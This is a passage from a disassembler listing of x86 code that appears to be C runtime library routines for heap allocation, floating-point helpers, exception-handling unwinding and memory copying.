		pop	ecx
		jnz	short loc_417BA2

loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4CF028
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_4CF020
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------

loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi

loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_435EB4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------

loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi

loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h

loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi

loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710439h

loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C30
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------

loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D

loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_433C3Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_4CD994, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_435FD4, offset sub_41C8C9
		mov	off_435FD0, eax
		mov	off_435FD8, offset sub_41C92F
		mov	off_435FDC, offset sub_41C86F
		mov	off_435FE0, offset sub_41C917
		mov	off_435FE4, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C48
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------

loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94

loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------

loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4CDA38
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------

loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------

loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------

loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A

loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552

loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165

loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171

loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]

loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193

loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552

loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]

loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------

loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		mov	ecx, [ebp+8]

loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458

loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------

loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------

loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------

loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
